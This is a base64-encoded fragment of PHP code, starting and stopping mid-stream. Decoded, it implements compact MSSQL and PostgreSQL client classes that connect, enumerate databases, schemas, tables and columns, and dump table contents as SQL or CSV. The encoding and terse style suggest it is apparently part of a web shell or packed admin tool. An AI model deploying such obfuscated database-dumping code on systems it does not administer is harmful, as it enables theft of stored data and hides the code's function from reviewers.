HMsICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPSBzcWxzcnZfZmllbGRfbWV0YWRhdGEoJHEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR5ID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxID0+ICdDSEFSJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIgPT4gJ05VTUVSSUMnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgMyA9PiAnREVDSU1BTCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ID0+ICdJTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgNSA9PiAnU01BTExJTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgNiA9PiAnRkxPQVQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgNyA9PiAnUkVBTCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMiA9PiAnVkFSQ0hBUicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA5MSA9PiAnREFURScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA5MyA9PiAnREFURVRJTUUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTEgPT4gJ1RFWFQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTIgPT4gJ0JJTkFSWScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtMyA9PiAnVkFSQklOQVJZJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC00ID0+ICdJTUFHRScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtNSA9PiAnQklHSU5UJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC02ID0+ICdUSU5ZSU5UJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC03ID0+ICdCSVQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTggPT4gJ05DSEFSJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC05ID0+ICdOVkFSQ0hBUicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtMTAgPT4gJ05URVhUJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0xMSA9PiAnVU5JUVVFSURFTlRJRklFUicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAtMTUxID0+ICdVRFQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTE1MiA9PiAnWE1MJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0xNTQgPT4gJ1RJTUUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLTE1NSA9PiAnREFURVRJTUVPRkZTRVQnCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaVsnVHlwZSddID0gaXNzZXQoJHlbJ1R5cGUnXSkgPyAkeVsnVHlwZSddIDogJ0JJTkFSWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlbJ051bGxhYmxlJ10gPT09IFNRTFNSVl9OVUxMQUJMRV9OTykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaVsnVHlwZSddIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGlbJ05hbWUnXV0gPSAkaVsnVHlwZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRxLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRrID0+ICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0KCRiLCAkcywgJHQsICRjLCAkbywgJGwpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoKCR0aGlzLT5fcmVzID0gc3Fsc3J2X3F1ZXJ5KCR0aGlzLT5fY25jdCwgJ1NFTEVDVCBUT1AgJyAuICgkbyArICRsKSAuICcgJyAuIHNxbEpvaW5Db2x1bW5zKCRjLCAnbXNzcWxFc2NOYW1lJykgLiAnIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSwgYXJyYXkoKSwgYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1Njcm9sbGFibGUnID0+IFNRTFNSVl9DVVJTT1JfRFlOQU1JQwogICAgICAgICAgICAgICAgKSkpICYmIHNxbHNydl9mZXRjaCgkdGhpcy0+X3JlcywgU1FMU1JWX1NDUk9MTF9BQlNPTFVURSwgJG8pKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEFzc29jKCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHNxbHNydl9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgU1FMU1JWX0ZFVENIX0FTU09DKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFJvdygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBzcWxzcnZfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIFNRTFNSVl9GRVRDSF9OVU1FUklDKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBuZXh0UmVzdWx0KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHNxbHNydl9uZXh0X3Jlc3VsdCgkdGhpcy0+X3Jlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHYpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHRoaXMtPl9yZXMgPSBzcWxzcnZfcXVlcnkoJHRoaXMtPl9jbmN0LCAkdikpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldEJhc2UoJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkdiAhPT0gJHRoaXMtPl9iYXNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gTlVMTDsKICAgICAgICAgICAgICAgICAgICBpZiAoIXNxbHNydl9xdWVyeSgkdGhpcy0+X2NuY3QsICdVU0UgJyAuIG1zc3FsRXNjTmFtZSgkYikpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCRiLCAkcywgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2V0QmFzZSgkYikpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgJGkgPSAnJzsKICAgICAgICAgICAgICAgIGlmICgkZikgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRDcmVhdGUoJHQsICR2LCAnQklOQVJZJywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGMgPSBzcWxKb2luQ29sdW1ucygkYywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgaWYgKCgkcSA9IHNxbHNydl9xdWVyeSgkdGhpcy0+X2NuY3QsICdTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBtc3NxbEVzY05hbWUoJGIsICRzLCAkdCkpKSAmJiAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHEsIFNRTFNSVl9GRVRDSF9BU1NPQykpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXNzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBpbXBsb2RlKCc7JywgYXJyYXlfa2V5cygkdikpLCAiXG4iOwogICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRkOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0VmFsdWVzKCR2LCAnbXNzcWxFc2NEYXRhJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzdk91dFZhbHVlcygkdik7CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHEsIFNRTFNSVl9GRVRDSF9OVU1FUklDKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIHNxbHNydl9mcmVlX3N0bXQoJHEpOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkcyAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkaTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBjbG9zZSgpIHsKICAgICAgICAgICAgICAgIHNxbHNydl9jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHBnc3FsRXNjRGF0YSgkdikgewogICAgICAgICAgICByZXR1cm4gIiciIC4gc3RyX3JlcGxhY2UoYXJyYXkoCiAgICAgICAgICAgICAgICAnXFwnLAogICAgICAgICAgICAgICAgIiciCiAgICAgICAgICAgICksIGFycmF5KAogICAgICAgICAgICAgICAgJ1xcXFwnLAogICAgICAgICAgICAgICAgIicnIgogICAgICAgICAgICApLCAkdikgLiAiJyI7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHBnc3FsRXNjTmFtZSgpIHsKICAgICAgICAgICAgJGEgPSBmdW5jX2dldF9hcmdzKCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgJGFbJGtdID0gJyInIC4gc3RyX3JlcGxhY2UoJyInLCAnIiInLCAkdikgLiAnIic7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcuJywgJGEpOwogICAgICAgIH0KICAgICAgICBjbGFzcyBQR1NRTEJhc2UgZXh0ZW5kcyBTUUxCYXNlIHsKICAgICAgICAgICAgdmFyICRoYXZlU2NoZW1hcyA9IFRSVUUsICRjYW5QYWdpbmF0ZSA9IEZBTFNFLCAkX3BhcmFtcyA9ICcnLCAkX2Jhc2UgPSBOVUxMLCAkX2NsY3MgPSBOVUxMOwogICAgICAgICAgICBmdW5jdGlvbiBmaWxsUGFyYW1zKCRoLCAkdSwgJHApIHsKICAgICAgICAgICAgICAgICR2ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIGlmICgkaCAhPT0gTlVMTCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkaSA9IHN0cnJwb3MoJGgsICc6JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHZbXSA9ICdob3N0PScgLiAkdGhpcy0+ZXNjUGFyYW0oc3Vic3RyKCRoLCAwLCAkaSkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdltdID0gJ3BvcnQ9JyAuIHN1YnN0cigkaCwgJGkgKyAxKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJHZbXSA9ICdob3N0PScgLiAkdGhpcy0+ZXNjUGFyYW0oJGgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR1ICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICR2W10gPSAndXNlcj0nIC4gJHRoaXMtPmVzY1BhcmFtKCR1KTsKICAgICAgICAgICAgICAgIGlmICgkcCAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAkdltdID0gJ3Bhc3N3b3JkPScgLiAkdGhpcy0+ZXNjUGFyYW0oJHApOwogICAgICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXMgPSBpbXBsb2RlKCcgJywgJHYpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGNoYXJzZXQoJGspIHsKICAgICAgICAgICAgICAgICR2ID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1VURjgnLAogICAgICAgICAgICAgICAgICAgICdVVEY4JywKICAgICAgICAgICAgICAgICAgICAnV0lOMTI1MCcsCiAgICAgICAgICAgICAgICAgICAgJ1dJTjEyNTEnLAogICAgICAgICAgICAgICAgICAgICdXSU4xMjUyJywKICAgICAgICAgICAgICAgICAgICAnV0lOMTI1NCcsCiAgICAgICAgICAgICAgICAgICAgJ1dJTjEyNTYnLAogICAgICAgICAgICAgICAgICAgICdXSU4xMjU3JywKICAgICAgICAgICAgICAgICAgICAnTEFUSU4xJywKICAgICAgICAgICAgICAgICAgICAnTEFUSU4yJywKICAgICAgICAgICAgICAgICAgICAnSVNPXzg4NTlfNycsCiAgICAgICAgICAgICAgICAgICAgJ0lTT184ODU5XzgnLAogICAgICAgICAgICAgICAgICAgICdMQVRJTjUnLAogICAgICAgICAgICAgICAgICAgICdMQVRJTjcnLAogICAgICAgICAgICAgICAgICAgICdCSUc1JywKICAgICAgICAgICAgICAgICAgICAnR0JLJywKICAgICAgICAgICAgICAgICAgICAnU0pJUycsCiAgICAgICAgICAgICAgICAgICAgJ0VVQ19LUicsCiAgICAgICAgICAgICAgICAgICAgJ0VVQ19KUCcsCiAgICAgICAgICAgICAgICAgICAgJ1dJTjg2NicsCiAgICAgICAgICAgICAgICAgICAgJ0tPSThSJywKICAgICAgICAgICAgICAgICAgICAnS09JOFUnCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCR2WyRrXSkgPyAkdlska10gOiAndXRmOCc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZXNjUGFyYW0oJHYpIHsKICAgICAgICAgICAgICAgIHJldHVybiAiJyIgLiBhZGRjc2xhc2hlcygkdiwgIidcXCIpIC4gIiciOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEJhc2VzKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT50cnlRdWVyaWVzKGFycmF5KAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfZGF0YWJhc2UgV0hFUkUgTk9UIGRhdGlzdGVtcGxhdGUnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF9kYXRhYmFzZScsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBkYXRuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X2RhdGFiYXNlX2NvbmZsaWN0cycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBjdXJyZW50X2RhdGFiYXNlKCknCiAgICAgICAgICAgICAgICApKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRTY2hlbWFzKCRiKSB7CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZXRCYXNlKCRiKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YScsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBuc3BuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19uYW1lc3BhY2UnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1QgdGFibGVfc2NoZW1hIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCBzY2hlbWFuYW1lIEZST00gcGdfY2F0YWxvZy5wZ190YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF94YWN0X2FsbF90YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdGlvX2FsbF90YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF91c2VyX3RhYmxlcyBVTklPTiBTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF9zeXNfdGFibGVzJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERJU1RJTkNUIHNjaGVtYW5hbWUgRlJPTSBwZ19jYXRhbG9nLnBnX3N0YXRfeGFjdF91c2VyX3RhYmxlcyBVTklPTiBTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF94YWN0X3N5c190YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdGlvX3VzZXJfdGFibGVzIFVOSU9OIFNFTEVDVCBESVNUSU5DVCBzY2hlbWFuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0aW9fc3lzX3RhYmxlcycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCB0YWJsZV9zY2hlbWEgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCBzY2hlbWFuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0cycKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlcygkYiwgJHMpIHsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNldEJhc2UoJGIpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgICRzID0gcGdzcWxFc2NEYXRhKCRzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X2FsbF90YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0aW9fYWxsX3RhYmxlcyBXSEVSRSBzY2hlbWFuYW1lPScgLiAkcywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHJlbG5hbWUgRlJPTSBwZ19jYXRhbG9nLnBnX3N0YXRfeGFjdF9hbGxfdGFibGVzIFdIRVJFIHNjaGVtYW5hbWU9JyAuICRzLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgdGFibGVuYW1lIEZST00gcGdfY2F0YWxvZy5wZ190YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X3N5c190YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X3VzZXJfdGFibGVzIFdIRVJFIHNjaGVtYW5hbWU9JyAuICRzLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgcmVsbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdGlvX3N5c190YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0aW9fdXNlcl90YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X3hhY3Rfc3lzX3RhYmxlcyBXSEVSRSBzY2hlbWFuYW1lPScgLiAkcywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHJlbG5hbWUgRlJPTSBwZ19jYXRhbG9nLnBnX3N0YXRfeGFjdF91c2VyX3RhYmxlcyBXSEVSRSBzY2hlbWFuYW1lPScgLiAkcwogICAgICAgICAgICAgICAgKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBjb2x1bW5fbmFtZSx1ZHRfbmFtZSxpc19udWxsYWJsZSxjb2x1bW5fZGVmYXVsdCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWU9JyAuIHBnc3FsRXNjRGF0YSgkdCkgLiAnIEFORCB0YWJsZV9zY2hlbWE9JyAuIHBnc3FsRXNjRGF0YSgkcyksCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBhLmF0dG5hbWUsIEZPUk1BVF9UWVBFKGEuYXR0dHlwaWQsYS5hdHR0eXBtb2QpLCBhLmF0dG5vdG51bGwsIGQuYWRzcmMgRlJPTSBwZ19hdHRyaWJ1dGUgYSBMRUZUIEpPSU4gcGdfYXR0cmRlZiBkIE9OIGQuYWRyZWxpZD1hLmF0dHJlbGlkIEFORCBkLmFkbnVtPWEuYXR0bnVtIFdIRVJFIGF0dHJlbGlkID0gJyAuIHBnc3FsRXNjRGF0YShwZ3NxbEVzY05hbWUoJHMsICR0KSkgLiAnOjpyZWdjbGFzcyBBTkQgYXR0bnVtPjAgQU5EIE5PVCBhdHRpc2Ryb3BwZWQnCiAgICAgICAgICAgICAgICApKSkgewogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RydG91cHBlcigkdlsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdlsyXVswXSA9PT0gJ04nIHx8ICR2WzJdWzBdID09PSAnZicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdlsxXSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzNdICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBERUZBVUxUICcgLiBwZ3NxbEVzY0RhdGEoJHZbM10pOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlswXV0gPSAkdlsxXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNlbGVjdCgkYiwgJHMsICR0LCAkYywgJG8sICRsKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgJyAuIHNxbEpvaW5Db2x1bW5zKCRjLCAncGdzcWxFc2NOYW1lJykgLiAnIEZST00gJyAuIHBnc3FsRXNjTmFtZSgkcywgJHQpIC4gJyBMSU1JVCAnIC4gJGwpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNsYXNzIFBHU1FMQ2xpZW50IGV4dGVuZHMgUEdTUUxCYXNlIHsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9ICRiOwogICAgICAgICAgICAgICAgJHRoaXMtPl9jbGNzID0gJGM7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsbFBhcmFtcygkaCwgJHUsICRwKTsKICAgICAgICAgICAgICAgICR2ID0gJHRoaXMtPl9wYXJhbXM7CiAgICAgICAgICAgICAgICBpZiAoJGIgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJyBkYm5hbWU9JyAuICR0aGlzLT5lc2NQYXJhbSgkYik7CiAgICAgICAgICAgICAgICAkdGhpcy0+X2NuY3QgPSBwZ19jb25uZWN0KCR2KTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPl9jbmN0ICYmICRiID09PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9IHBnX2Nvbm5lY3QoJHRoaXMtPl9wYXJhbXMgLiAnIGRibmFtZT10ZW1wbGF0ZTEnKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPl9jbmN0KQogICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgIHBnX2V4ZWMoJHRoaXMtPl9jbmN0LCAiU0VUIENMSUVOVF9FTkNPRElORyBUTyAnIiAuICR0aGlzLT5jaGFyc2V0KCRjKSAuICInIik7CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRFcnJvcigpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpIHsKICAgICAgICAgICAgICAgICAgICAkdiA9IChQSFBfVkVSU0lPTiA+PSAnNC4yJykgPyBwZ19sYXN0X2Vycm9yKCR0aGlzLT5fY25jdCkgOiBwZ19lcnJvcm1lc3NhZ2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICBwZ19jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBwZ19leGVjKCR0aGlzLT5fY25jdCwgJHYpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEJhc2UoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR2ID0gcGdfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkgPyAkdlswXSA6IEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldEJhc2UoJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkdiAhPT0gJHRoaXMtPl9iYXNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gTlVMTDsK